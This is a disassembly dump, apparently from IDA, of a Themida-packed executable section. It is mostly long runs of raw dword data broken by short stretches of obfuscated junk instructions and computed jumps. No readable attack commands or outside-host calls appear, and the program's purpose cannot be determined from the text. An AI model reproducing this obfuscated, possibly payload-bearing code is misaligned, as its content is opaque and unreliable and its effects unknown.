; ---------------------------------------------------------------------------


loc_5C4495:				; CODE XREF: Themida_:005C445Aj
		aaa
		and	edx, [esp+ebp-84AE4D0h]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 5F04D717h, 0D58E4522h, 33D5F4A0h, 7CB70BFEh,	0D34F6DCCh
		dd 0DB8403EFh, 24DBFAA6h, 6B52F4E6h, 80648AFCh,	0FC811DCCh
		dd 0AD566DCCh, 0F1DAC478h, 4FAB1EA8h, 7B381547h, 0A3BD8FC4h
		dd 0CCFE5AE8h, 895EBA6Dh, 4A91289Dh, 3202A930h,	0D34F437Ah
		dd 0D806DAEFh, 5875AA61h, 0FC88B6ABh, 58D45067h, 0DDEFEC0Bh
		dd 0B86CA95Eh, 0D2B99FBCh, 9E0AC761h, 0CD13B883h, 79D76D7Ch
		dd 0EE0BE725h, 9B1E302Ch, 4C2EAAE9h, 0E9CB7732h, 2F2B9E11h
		dd 7FFFE00Ah, 4116CD46h, 43FCD67Ah, 0E2FE620Eh,	3730F375h
		dd 0E0C9DD40h, 0ACAh, 0B672B555h, 0D652893Fh, 0BD71AA5Fh
		dd 904C893Eh, 0B4286709h, 74184AB6h, 4F027935h,	671B9A0Eh
		dd 8229B02Ch, 0A29E914Dh, 0DBEC5BE7h, 56DEBB6Bh, 8B3F7E32h
		dd 0DF83530Ch, 9742C89Bh, 0B4909ED0h, 0ED22C9C0h, 2A6E409h
		dd 0B8F51B1h, 5CD573E7h, 324C1EBDh, 0CC7CCB77h,	782F2B6Dh
		dd 9EC297D2h, 0FC7CC6EBh, 0A2494067h, 0C4C7B96Dh, 9423837Eh
		dd 9AB69A96h, 57EB9EC0h, 0AF942383h, 96E896B3h,	31E51EC3h
		dd 0D36B1835h, 64942383h, 0FB9A86BBh, 0F4630F44h, 7720AC43h
		dd 9A21A53Ch, 66CAB6F7h, 37438E91h, 0F023397Bh,	69000000h
		dd 50447932h, 0F6BCEDDEh, 82C8E297h, 0FB3AEE65h, 863CFFE1h
		dd 2CDB574Bh, 6DCC8D96h, 29D5F26Eh, 0A0E18457h,	0F046E0CBh
		dd 0F0976DCCh, 0BFACA1BBh, 0CB3D9CB5h, 9904623h, 8C792D62h
		dd 0E82E656Dh, 0B5F2A229h, 0DBCB3390h, 81658136h, 0BC6F916Fh
		dd 6DCC0306h, 210079DEh, 7A78E253h, 998A8156h, 3D67FCE0h
		dd 3AF10FE1h, 943CA788h, 63DBF06Ch, 0A349F7FEh,	0E376886Ch
		dd 161A063Dh, 0D66C1F41h, 2E9E0A6Ah, 0EFA11832h, 45AD9EB0h
		dd 8CC57CFEh, 7CAF9C98h, 0BC6DEC5Dh, 0CEAB877Bh, 0A0DF9108h
		dd 34E5233Bh, 0B039ED40h, 972h,	4E0A4DFDh, 6EEA21C7h, 550942E7h
		dd 68E421C6h, 4C003FF1h, 0FCB0225Eh, 0D77A01BDh, 0EF932296h
		dd 0CA81F8B4h, 4A361995h, 0DBEEE35Fh, 1EA6036Bh, 8B3F7E32h
		dd 4B822AB1h, 0C9FEA52Eh, 0F9B02B15h, 3221ABC0h, 39504479h
		dd 3DE15D92h, 805B7A7Fh, 15B906Eh, 3C8A5EA6h, 9D06FDDAh
		dd 3967FCBFh, 56D17A3Dh, 0D342F956h, 0C6C59744h, 37D7533Dh
		dd 232F54D9h, 8FBCF19Ah, 233FF421h, 6873826Fh, 9FB59396h
		dd 0D14D2DE0h, 0B55AE1FFh, 2FD86378h, 10B73EFAh, 9DF66EDBh
		dd 0ECB8F7EDh, 8D1FBh, 67AA5C00h, 85BC64F3h, 629B52C9h
		dd 7FBC6FE6h, 59984CCBh, 699BE7E5h, 45D488C7h, 70E763A4h
		dd 4CCB7FBAh, 0FFEA5E93h, 0EEB40EFDh, 53506BDBh, 3B7932C9h
		dd 0D6046157h, 0BA668A99h, 532DAE45h, 0FCDB0B58h, 9DAFAB67h
		dd 0B12D681Eh, 48FAB1CFh, 0AC943CC9h, 6A209BB0h, 0AE14432Fh
		dd 4F943CC9h, 943CB9F7h, 66786372h, 0CBECEA3h, 926CC89Eh
		dd 11E625C7h, 98CD7615h, 0A804F33h, 0A435E140h,	84Eh, 42F639D9h
		dd 62D60DB3h, 39F52ED3h, 5CD00DC2h, 70EC2BDDh, 28DC0E7Ah
		dd 43E675E9h, 1BCF4602h, 36ED6CE0h, 5E624D01h, 0DBEF17ABh
		dd 2AF2EF6Bh, 464096D7h, 1DEFA817h, 0FD792D6Ah,	526104D9h
		dd 77897789h, 0CC4C0EB4h, 2E6D1F6Dh, 322EDE42h,	2B056E15h
		dd 0EEDF67FCh, 814FA708h, 180ADF4Ah, 0BB71681Ch, 0A9279B8Eh
		dd 63BF943Ch, 944CCB7Fh, 0C05CA95Dh, 0B04A411Bh, 54943CA9h
		dd 7BA2CD8h, 0EC23C968h, 585D8E70h, 0A2603EBh, 0C482293Eh
		dd 83943C61h, 618A6477h, 2684BFD3h, 3B1D3A02h, 3C588E50h
		dd 0E89F3694h, 90BD8FB3h, 653A6025h, 74EAFF28h,	0DF1CCF8Ah
		dd 0A11A2F33h, 77CBBEEBh, 8F943C24h, 6249F18Ah,	6D89C6DFh
		dd 18A39D89h, 0F9494073h, 1D943C56h, 5B482541h,	943C57EBh
		dd 4AEB8A39h, 963362A2h, 0B36BAD24h, 0E49C1B8Fh, 0C24EF4B7h
		dd 8584943Ch, 943CC23Dh, 0C9A55DD9h, 44B2F9ADh,	86943CC2h
		dd 3F8031A8h, 3BFA992Ah, 85DA4E85h, 99906A71h, 943CC12Ch
		dd 0F3A24ECAh, 85D5DF2h, 24C16013h, 0ADDBD1C9h,	91CC8239h
		dd 1CF14BCh, 542A0000h,	2CC37F2Ah, 4723E843h, 432CE260h
		dd 498A3BE8h, 4D29D95Dh, 0BD5C9430h, 105D4C1Eh,	0AE67FC0Ah
		dd 6A2198B2h, 59D0FE2Ch, 6A4F1B15h, 0B36BCBECh,	11CDA92Ah
		dd 98A3E18Ah, 0A195C779h, 5403EFD3h, 1F69B44Ch,	0DA5E99Dh
		dd 296468Ch, 0DFF6AAC6h, 8639ED2Eh, 5F3A861Dh, 8C69D0FDh
		dd 89B044EEh, 0DCCA8E7h, 0D691D5Ah, 6DB44BF0h, 0EC6F81B6h
		dd 0E12FE33h, 209B8539h, 0E0443069h, 6297500Bh,	26B541AEh
		dd 438023B2h, 5A8F384Fh, 893DFCDEh, 9C2794Eh, 0AC589739h
		dd 1F6011C8h, 1FD3EF73h, 0EAAA1878h, 437C3180h,	5A8F384Fh
		dd 6DD5D4A6h, 896DD11Ah, 66FDBEADh, 41E0BF5Ah, 0C90A4885h
		dd 0F95444Dh, 3A1FF441h, 3A0F4755h, 1995CA81h, 0C0B4E9A2h
		dd 7BBF7D6Eh, 13A95598h, 0BF13A736h, 251D9936h,	411B3791h
		dd 0D1C8F84Ah, 8C401C6Dh, 681C5B0Dh, 0BB71E816h, 0C82D9584h
		dd 6DC96DD1h, 0F2E9ED90h, 0C88D31D8h, 0FD796DD1h, 6DB358E3h
		dd 3A115C46h, 2D4A269Ah, 447932A9h, 58973950h, 3F782DACh
		dd 528F3453h, 0DD744B9Eh, 17AE45EFh, 0E085550Eh, 5B77FBA7h
		dd 0DFD0FDDFh, 70AE7414h, 651E95B2h, 14EA4430h,	0D1C6AD15h
		dd 0DE64276Dh, 366DD1C6h, 11E6423Ah, 856A6874h,	52A5D6E7h
		dd 0CAB09AAEh, 4E9B1A9Dh, 9B15872h, 0DB6DD1AFh,	0AEBC0605h
		dd 0EC236DD1h, 61576B35h, 4419150Dh, 0EF66E23Eh, 780F0338h
		dd 7CEB97D2h, 46FD24BBh, 829FDD08h, 0A2BE6BA6h,	0C3F8AF26h
		dd 0FC705DCFh, 7A935F5Bh, 4D69FCD1h, 61CDBC8Eh,	9D6DD1B1h
		dd 0DAD1AFC1h, 6DD1B168h, 3BB908Ch, 0DF93CE74h,	0FBD50612h
		dd 0D1B1A210h, 5206626Dh, 447932B4h, 3F9C3B88h,	193D7E2Dh
		dd 0A6A767FCh, 48B234A9h, 574B2013h, 72B356E5h,	4FF3A27Eh
		dd 0A794234Ah, 6D5A7CBh, 32A92560h, 512F417Ch, 234AE85Ah
		dd 66A14594h, 738DBAB6h, 0FF9EC14h, 57AC5A6Fh, 4A411BC0h
		dd 9E135A19h, 0E6B561BDh, 9E133A58h, 1DB0017h, 233D690Ah
		dd 45312D94h, 3689D46h,	5E250315h, 0DB7A6B3Bh, 66000004h
		dd 4ECD81C4h, 6CEB5F96h, 39C07CB5h, 56E55996h, 0D1B773B2h
		dd 66A547B5h, 81C263F2h, 5D984ECDh, 7CB15AE1h, 38F3CDC0h
		dd 6BDBEA8Ah, 5CA76D6Ah, 5D4C1EBDh, 67FC1EF8h, 0CD753406h
		dd 299423A2h, 2E7D294Dh, 9423A291h, 45A03F74h, 397B4B6Ch
		dd 954Ch, 9D8C7200h, 9423AA25h,	691954FAh, 254F00Dh, 6DCC7C34h
		dd 5B0FCAA4h, 0E0F57B17h, 6B874AD9h, 409EBBB7h,	31ADE289h
		dd 0B89249D4h, 0CC0969D1h, 80B89D6Dh, 883BD359h, 0DF514521h
		dd 0BDB80A01h, 5C6DCCh,	82B770EBh, 0FF40F168h, 0C0F74EAh
		dd 9F538E34h, 0DECD9FC3h, 6DCCBD7Ch, 0E1F8AC88h, 0EC39F52Ah
		dd 39F00AD1h, 6DCCBDEDh, 235A1289h, 0BA04533Fh,	986DCCFDh
		dd 2154AE9h, 0DA0407D9h, 506DCCFDh, 0FDA9E689h,	7EB2ADEh
		dd 783430F2h, 0A20Fh, 0BD5C7D00h, 0A7324C1Eh, 0F7B4C902h
		dd 67FC1B9Ah, 0D5F4A07Ch, 0EA37F334h, 513812CDh, 94239CEDh
		dd 0A02209F7h, 4494239Ch, 130F13E8h, 94C98239h,	4A367115h
		dd 461511E6h, 94239CFBh, 2FCA691Ah, 397B49DEh, 0E5391D4Eh
		dd 0F4A0D990h, 6A474B70h, 4C88401Dh, 2000000h, 7F2ABF5Ch
		dd 6DCC7CC3h, 0DD904723h, 688CE89Ch, 7C2F9396h,	6BC76DCCh
		dd 2C6D20B7h, 19C653B0h, 7CAA4447h, 6626DCCh
		dd 3CF34B1Ah, 0A2516DCCh, 51F4C703h, 0DAA3B10h,	0E511F8D2h
		dd 0A19233BCh, 0BC66DCCFh, 0A27E9233h
dword_5C4CC0	dd 327C0ABEh, 0CB04A979h, 23DCFBA7h, 0CEE53AEEh, 1E0DF30Dh
					; DATA XREF: Themida_:0054BD80o
					; Themida_:0054E21Co
		dd 6DCC7CA4h, 69A64940h, 0C09DB9BDh, 11C8F198h,	9D1C67FCh
		dd 7DF9ADEAh, 0D2BE9A60h, 23963B83h, 1C550C94h,	82BD7168h
		dd 0ED841B8Eh, 7F3A36DFh, 80E490CBh, 9D39D86Bh,	4430651Eh
		dd 0B9140BE0h, 99397B3Fh, 2Ch, 1EBD5CF3h, 7C745D4Ch, 969267FCh
		dd 7C03BBEAh, 8EE2943Ch, 0FFDC17CBh, 8D60851Ch,	6D397B35h
		dd 12Dh, 0E722C893h, 8A22373Bh,	2A447932h, 7CED5554h, 2D096DCCh
		dd 95374E50h, 0F936D960h, 0CC7CB012h, 61D8546Dh, 0A15571AEh
		dd 0FCB1812Ah, 0D4F39FC3h, 63A75B2Bh, 29D9E17Ah, 330F33D2h
		dd 0D0BBA577h, 6DCC6F72h, 0CAC19692h, 6DCC125Ch, 0DCCFFAB1h
		dd 6DCC7266h, 8123A27Eh, 0EED24E42h, 0CF04BB3Ah, 74374923h
		dd 6DCC72CEh, 0D02D4A26h, 0D1B89249h, 67FC0108h, 0E022C7BEh
		dd 70294636h, 0EC08EC1Fh, 0F6BFD912h, 0EF5371A0h, 0F8FF64DAh
		dd 34F709E3h, 9423D28Eh, 0BED0A66h, 151A2A20h, 8C5EBA9Eh
		dd 942E772h, 7744191Dh,	382296D5h, 0F1513826h, 159E108Ah
		dd 8AD07219h, 17129E10h, 9E108AABh, 431FCF4Bh, 3EC41516h
		dd 4C21513Fh, 399EDD8Fh, 4036AC49h, 0F7C6CFC7h,	82000001h
		dd 4AD18DD0h, 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh
		dd 529133A1h, 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h
		dd 6BDBE5BEh, 32D35956h, 0C8B3F7Eh, 1F4C1E53h, 0DFC4672h
		dd 6DCCBAB5h, 1AE8D551h, 753446E3h, 6DCC4ACDh, 0A6304D29h
		dd 1EBD5C20h, 5A7324Ch,	0D9FAB1C6h, 3D67FC7Ch, 934C0FE1h
		dd 0CE9D895Eh, 94238370h, 0A441E093h, 397B3749h, 0E229h
		dd 82295700h, 94238FC0h, 99334824h, 8A3B7932h, 0CFE9C9FEh
		dd 24A34F73h, 0AC2F4180h, 69CDB9F8h, 252E9497h,	6AC66DCCh
		dd 5CCA918Dh, 0B16DCC58h, 30ABC5FAh, 0B5293E7Bh, 5C487D26h
		dd 718B5067h, 28269C8Fh, 62BE6DCCh, 73B87385h, 1367FC5Bh
		dd 5D74F60Eh, 0C27949E7h, 37F3CF0Eh, 3E10CBEAh,	0AC29E4Bh
		dd 8C33069Eh, 0C218AA61h, 20FC9E11h, 0F7D45044h, 86552703h
		dd 5527A3E2h, 421D1D18h, 0F106F05Eh, 0E287C66Ah, 40377D1Ah
		dd 0EB37A074h, 76000000h, 9E1D91D4h, 7CFBAFE6h,	49D08CC5h
		dd 66F569A6h, 0E1C783C2h, 569537A5h, 71B253E2h,	4D883EBDh
		dd 2C610A91h, 0C8C3BDB0h, 6BDBE67Ah, 32773D9Ah,	0C100A47Eh
		dd 0B97551D5h, 0D8548942h, 9131D806h, 756DCC7Ch, 9E24E7F9h
		dd 766DCC7Ch, 3247DDFAh, 39504479h, 84E15D92h, 95946675h
		dd 67F78AC8h, 0FBF00A66h, 7445AB16h, 1313E8F1h,	0AFEEA219h
		dd 0D18A5FC3h, 0F269E51Ah, 49100439h, 0C74ECB8Eh, 7EA73E65h
		dd 421C90C5h, 0EA96D577h, 0DB57486h, 0E9A74DC9h, 3CE3708Dh
		dd 0C77C1B07h, 0EF013AEFh, 4DC9863Ch, 0DE025EA7h, 1AEE9332h
		dd 6C183C71h, 9480B76Dh, 3D721990h, 36CD7649h, 8A29D88Ah
		dd 9EE88950h, 84A303BCh, 0E3F8DC62h, 0BE7AAF58h, 0A75B9037h
		dd 113Eh, 0D5774200h, 5FEBC196h, 12AE2C21h, 0C39399A9h
		dd 80321EA6h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
		dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
		db 41h,	55h, 0CFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	7C41h
		mov	[esp], ebx
		mov	esi, 12A101FCh
		push	ecx
		mov	ecx, 622624E3h
		shr	ecx, 6
		or	ecx, 7F7759A9h
		sub	ecx, 0FC95316h
		or	ecx, 389B24DAh
		add	ecx, 57BA721h
		sub	esi, ecx
		pop	ecx
		sub	esi, 513177AAh
		add	esi, 0C2E352EAh
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	3732h
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		add	ch, [edi-5]
		enter	0FFFF8D22h, 52h
		db	2Eh
		jmp	far ptr	1B17h:5B9946h
; ---------------------------------------------------------------------------


loc_5C50EE:				; CODE XREF: Themida_:005C433Cj
		mov	eax, 6179BCCh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 96h
		dd 0AC134D73h, 820C2F97h, 2431A63Fh, 427B305Bh,	85015067h
		dd 0FF209A3Ah, 3F215757h, 34FD0E9h, 0D86A9595h,	804E91BAh
		dd 3D245941h, 39697984h, 0FB1476E9h, 0A20021BFh, 5D0CADE8h
		dd 0C0736E82h, 0B34062F0h, 6F001DCAh, 0E858BA1Dh, 10h
		dd 8ED68EADh, 0D880CDC9h, 408BE317h, 0DDAA044Fh, 0EB8A5AF5h
		dd 68EBC281h, 81660000h, 0BB9713E0h, 1A0Dh, 0A98FD181h
		dd 32FF49CDh, 5E38F080h, 12E9h,	0E71B2500h, 8AE3083Ch
		dd 4C1C5F9Eh, 0B010A805h, 81F51CB6h, 0B53400F6h, 0C2BF0F18h
		dd 4C75C681h, 0BCB17BEBh, 671FEE81h, 665674C8h,	28FCA8Bh
		dd 10E9h, 68DAD200h, 20E86D04h,	80AAE956h, 8CFF9CDFh, 4EA8381h
		dd 0F01EB83h, 1F85h, 28A0F00h, 0B0000000h, 29E9C6h, 0D010000h
		dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh,	0A76BF66h
		dd 0FFFF7DE9h, 0B46B43FFh, 0FE8A43C2h, 0F17EE9E2h, 8D2AECADh
		dd 179E668Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0A7638954h, 0DE8B566Fh, 397F5DBAh
		dd 0F58D895Ah, 0F061009h, 688h,	0ED8D8900h, 0C7061030h
		dd 10231985h, 6A2806h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0AE2FDED5h, 0C28B664Ch
		dd 22C185C7h, 610h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D6EB0FC3h, 0D628CD61h
		dd 0AE970h, 546F0000h, 8BFA5B4Bh, 0BECAE279h, 1EB9858Bh
		dd 0B5FF0610h, 61004E9h, 135D9589h, 95FF0610h, 6102DB9h
		dd 619B58Bh, 6A0610h, 31C995FFh, 0C08B0610h, 0B33518EBh
		dd 0E938B032h, 3B7E53F4h, 0B7524C93h, 0E12DAEBEh, 0A398D404h
		dd 11E995FDh, 0B3000000h, 58C49Ah, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C587B
; ---------------------------------------------------------------------------
		db 94h,	0F2h, 0AFh
		dd 8DC47CFBh, 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh
		dd 6DEC609Fh, 38BF7BBCh, 54E35792h, 0C7C276ABh,	0E28C36F5h
		dd 8B686BDBh, 243E675h,	79325FE5h, 7CE75B4Eh, 23FF6DCCh
		dd 0AAC6FBA4h, 6D4784F6h, 85ECF28Ah, 28DC5774h,	628B75E9h
		dd 0BCD718Eh, 29DE5DD3h, 9B440FECh, 641BBA66h, 0E79E1D2Fh
		dd 1FC3C2AEh, 3BEB00E4h, 77A4E49Ch, 461BE453h, 14584838h
		dd 44BA2427h, 0EE2D6917h, 0C39FE1BDh, 0DA0FB8CFh, 0C3F8AF26h
		dd 0E1144ACFh, 5E0F0643h, 0A329C877h, 1918B708h, 16ECA272h
		dd 320E3273h, 104BFF76h, 2E691D9Ch, 0B0E79D1Ch,	39ECEB9Bh
		dd 0B86CAB5Dh, 347FC3C6h, 9B976DCCh, 0FDE79BB7h, 0E086AF46h
		dd 845729A5h, 71F5A1E0h, 0F328DF5Ch, 34EF58FFh,	8F306DCCh
		dd 0EE1CF5F0h, 7DFC336Ah, 4E000000h, 459996D7h,	524B0AC2h
		dd 0D005BE75h, 0AE8A3BFEh, 0EA96BAFBh, 0E6B57186h, 6DCCAF5Eh
		dd 0A441E0DFh, 336A6349h, 69BD94B9h, 0C7709D9Ah, 13EB2h
		dd 328C0000h, 7DB93A7Ah, 44296008h, 6B8795E1h, 286820B7h
		dd 52EBF268h, 3AE60A40h, 0F7ABE89Bh, 8244DBC4h,	4BD210B7h
		dd 0DA4E0C60h, 0DE422E12h, 639A5209h, 8CB770E7h, 0CC48259Dh
		dd 8165C16Dh, 1E0DF3CDh, 6DCC48A4h, 3D07E440h, 0FDA47E32h
		dd 14B9D0C4h, 274B27DBh, 0A3BFFAB0h, 0F930D8EFh, 942B500Dh
		dd 209CDB8Dh, 0F4C7F299h, 0D36F164Bh, 336DCC7Ch, 70671B37h
		dd 0EB6E80B9h, 21DDFA39h, 22A43B78h, 0EF626C29h, 62D9178Bh
		dd 0A25572ABh, 336AEB5Fh, 6B3Fh, 7E328D00h, 8D34533Fh
		dd 0FBD718B9h, 0E3087407h, 859704C8h, 85DDA57h,	0B331E207h
		dd 0D66D4E2Bh, 0EA5E9D4Fh, 867AB96Bh, 487F25B4h, 3803D85Ch
		dd 0F9AA5693h, 13CE2BCAh, 0F3336B08h, 50h, 3F7E3259h, 4A8E3453h
		dd 4225F136h, 564A26A6h, 9F53883Fh, 51458428h, 0A22EC55Eh
		dd 58D97847h, 368C7FB4h, 0CE6DCC5Ch, 2CBA6E52h,	29437A32h
		dd 0DFCAFDB2h, 6DCC7C63h, 0AECBA783h, 7C1CA9F0h, 94236DCCh
		dd 36B5F8FDh, 195336Bh,	0F7000000h, 216004D7h, 0A1DA8F4Ch
		dd 8C07BF5h, 2C4125D1h,	8528F8AFh, 55D45044h, 0A58175B2h
		dd 0EB6D5C1h, 0F9AC2BD7h, 0EC8FCCB8h, 46FD6755h, 0A6DF86AFh
		dd 9546CD32h, 0D0BBA5BBh, 6DCC7C72h, 0CAC19692h, 67FC0621h
		dd 0E47789E5h, 76150140h, 9FBC98CDh, 13FE8DFh, 4B577004h
		dd 813D1987h, 681C51FAh, 23EB8341h, 40DFC094h, 39F52AE1h
		dd 28CB09C2h, 70A837D3h, 0F1E89CB8h, 7A11053Ah,	89B092D2h
		dd 0B427B4AFh, 3A77E490h, 46F7210Eh, 0E017BA71h, 23DE9929h
		dd 0C5A17D94h, 6E059ED1h, 7F16A562h, 6D80DB6h, 81568D33h
		dd 93AF02BDh, 328F397Bh, 0FD000001h, 0E183BD5Ch, 4E72EEA2h
		dd 26BC8D7Ch, 0B12867FCh, 0B6D5C1FEh, 0DCF1D510h, 3F564A26h
		dd 5D75388h, 1B5F53C8h,	23A4D270h, 11363294h, 805DE803h
		dd 2AE10CB3h, 94232598h, 0D0C4A07Ch, 894212B9h,	0A0C4A054h
		dd 0F730D5F4h, 9BD68C0Bh, 7211B2E7h, 6B0A994Eh,	70EC21CAh
		dd 7BDD64ADh, 5A4439h, 5C860000h, 1E401AC1h, 0CC7CD76Bh
		dd 0A41E0D6Dh, 406DCC7Ch, 1B302CE4h, 7CDC4645h,	7CF8EDCCh
		dd 7D61E188h, 0AD4EEDCCh, 3D9E3916h, 7DFA6823h,	3E1A6DCCh
		dd 0A8BBB08Ah, 63DFCA07h, 836DCCF6h, 0F92C2A7h,	8634ADCAh
		dd 3C000000h, 0EDDB6722h, 0D0746DCCh, 43EAE191h, 3B11E60Ah
		dd 4C1EBD5Ch, 0FC0C3C5Dh, 0AC3A867h, 15AD5CF2h,	0F1942306h
		dd 0A26E4875h, 411DDDFAh, 588D3655h, 83AE55E4h,	23A13A88h
		dd 627EDA94h, 491BD188h, 998D69A6h, 97BEC09Dh, 9423A02Ch
		dd 3CE57C23h, 627C4E83h, 23A01BA7h, 4A1FFB94h, 33A82F94h
		dd 414C7219h, 21B89E18h, 39132F70h, 0BC91CC82h,	0DF14CBCAh
		dd 7312A133h, 0CC9E3DDCh, 2FA7F9DDh, 0B5290594h, 1EBD5C17h
		dd 0A9D88D4Ch, 0CC7C4002h, 0ACC8A46Dh, 795F7CF8h, 0F79AAC92h
		dd 0CA353667h, 82D79530h, 68C56489h, 4E091692h,	0F9AD8979h
		dd 0C1904687h, 611F03C7h, 0E318CF8Ch, 237F067h,	1C5470Eh
		dd 933637D3h, 8715AD5Ch, 75F1F6D8h, 7D26A551h, 0A0DF9148h
		dd 6D0497F4h, 5CF3CC5Fh, 0E7F92ED5h, 0DAB981E6h, 883FC725h
		dd 76FAA6E3h, 0A55EDD61h, 62058470h, 0CAA6E78Ah, 4B8429B0h
		dd 9C26E557h, 78F6D8A4h, 303D8FCh, 0E243E291h, 0C138F429h
		dd 794CCC0Ah, 0D05DFD07h, 0E004E019h, 3A334h, 5F190000h
		dd 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h
		dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 0B968CF55h
		dd 8900004Eh, 1068242Ch, 8900002Ch, 8951241Ch, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 9E9EBA52h, 89560617h
		dd 5EF389D6h, 6A24685Ah, 24890000h, 24048124h, 4, 39596859h
		dd 4890000h, 8B824h, 0C8010000h, 0FF581889h, 81592434h
		dd 4C4h, 241C8B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0F8DC67E9h, 0BB8391FFh, 956A9457h
		db 0ADh, 48h, 65h
; ---------------------------------------------------------------------------


loc_5C587B:				; CODE XREF: Themida_:005C5304j
		mov	eax, 617A38Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 437B083h, 61A35CBEh,	162F142h, 9D19827h, 3D93E9A7h
		dd 7F8E6DA3h, 688E4002h, 4A0F8C73h, 34C08A38h, 2FE2B352h
		dd 1ABA846Bh, 403BFF65h, 4C22BAF2h, 0F9037F8h, 37A36544h
		dd 12E8h, 0E6038D00h, 0B6D62682h, 9A91082Ah, 48E4C6DEh
		dd 0E9B2B5B2h, 0Bh, 0D2C30B13h,	9435CEA2h, 592A15F0h, 79F1C081h
		dd 0C181109Bh, 5ACBh, 7DBBD38Bh, 0E8000016h, 13h, 2038018Eh
		dd 51D0806h, 0BE6C8BDFh, 37DCBEF5h, 0BEAB9C4Bh,	11E815A8h
		dd 0F931FF5Eh, 0F681665Fh, 0F781561Dh, 76103E50h, 0A980C781h
		dd 0CE811D24h, 3C6996D3h, 0BC05EF81h, 0C78B09D2h, 81FC3989h
		dd 6E078BE9h, 0C181F807h, 76E0787h, 81C0BF0Fh, 1EBh, 2C850F00h
		dd 0E9000000h, 13h, 4B076150h, 0FCE0D4CCh, 0DCCA9805h
		dd 529E2703h, 0E9B03D41h, 28h, 19B0D9C2h, 0BEA01E23h, 328EF141h
		dd 0E984C89Dh, 0FFFFFF8Dh, 2A726C9Fh, 86F04F6Ch, 2F6398Eh
		dd 7C7F23C8h, 0D906A34Bh, 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 600h, 0AE351400h, 2396288Eh,	11424D33h, 0A94BD069h
		dd 7550B438h, 156636DBh, 0D7D5D432h, 2307D9AAh,	0EA0D583Eh
		dd 8F9288B7h, 41E58DD1h, 0F6E7E8CDh, 28E3E77Dh,	156628DBh
		dd 95F99232h, 34EDCAC8h, 7452CF35h, 98DBA153h, 15600127h
		dd 0A8E58147h, 137644A7h, 457F5632h, 0ADA69A61h, 15668C23h
		dd 1B03C1BBh, 88EB2422h, 1374A927h, 4D3D5BCDh, 15F3F9B1h
		dd 61662422h, 0AD354125h, 15668C23h, 1B03C1BBh,	88EB2422h
		dd 1374A436h, 4D3D5BCDh, 0AA002452h, 74932E36h,	1A07FEB8h
		dd 15669FB8h, 1574AD32h, 0A89F2232h, 42692078h,	0BB9A7BCAh
		dd 6DE34111h, 94216ACDh, 156619DBh, 0B3D1C232h,	0FB461455h
		dd 118AA164h, 4D4215BBh, 156A043Dh, 128F4432h, 7E662232h
		dd 519EE357h, 0A8E5E9A6h, 1371E164h, 53E22D32h,	75661132h
		dd 2EDC40B9h, 743B4815h, 981BA7BFh, 0EA9F1725h,	156061E2h
		dd 5A224432h, 2BE0028Ah, 98CB94BFh, 98698E25h, 15664426h
		dd 15662DDBh, 26C65832h, 35BBA3CBh, 0B3921207h,	0CB7D14E4h
		dd 9169C1CDh, 15668833h, 0F0E382C7h, 43603211h,	13E81E52h
		dd 1A668832h, 156644B8h, 24ABA232h, 0AD347953h,	18F149Ah
		dd 5C664432h, 9EB59201h, 0F74AA6E2h, 230E440Dh,	0F511C807h
		dd 1A8C3B4Bh, 156605B7h, 15696132h, 0D5384432h,	0B467EB58h
		dd 267FB15Dh, 0DE667732h, 50D3BB66h, 0ED60322Fh, 90EC94BFh
		dd 9C698E21h, 15664435h, 1567A83Dh, 0EA9A1132h,	0CDE7E8E2h
		dd 7EACC757h, 1564A93Dh, 74061132h, 14EE8753h, 0ED664432h
		dd 903A7BBh, 1A931722h,	156698B7h, 156DAD32h, 0EBEA2232h
		dd 7399E7BEh, 4AA150E2h, 80E3833Dh, 15603234h, 0FC661132h
		dd 15668821h, 82693560h, 0A60A2CD3h, 0FCAF9369h, 26A890D9h
		dd 0D3482BFDh, 545C7B7h, 7D9E5434h, 9B14E15Bh, 2FB4C552h
		dd 0E050DD14h, 8CD3EE53h, 1A609826h, 156648B1h,	13EB2D32h
		dd 1A661132h, 156688BDh, 14E54B32h, 0E9662232h,	2F5494BFh
		dd 128F8E22h, 15664432h, 48D40256h, 9E69F762h, 15668833h
		dd 1AB6BBCAh, 156602BBh, 0FFE77132h, 0E0CEC6Eh,	156657DBh
		dd 96F8B32h, 480B184h, 9013CE2Ch, 0BD5E7D5Ah, 7D1717DFh
		dd 54E39853h, 1A609826h, 156643BCh, 14EE2D32h, 0E9661132h
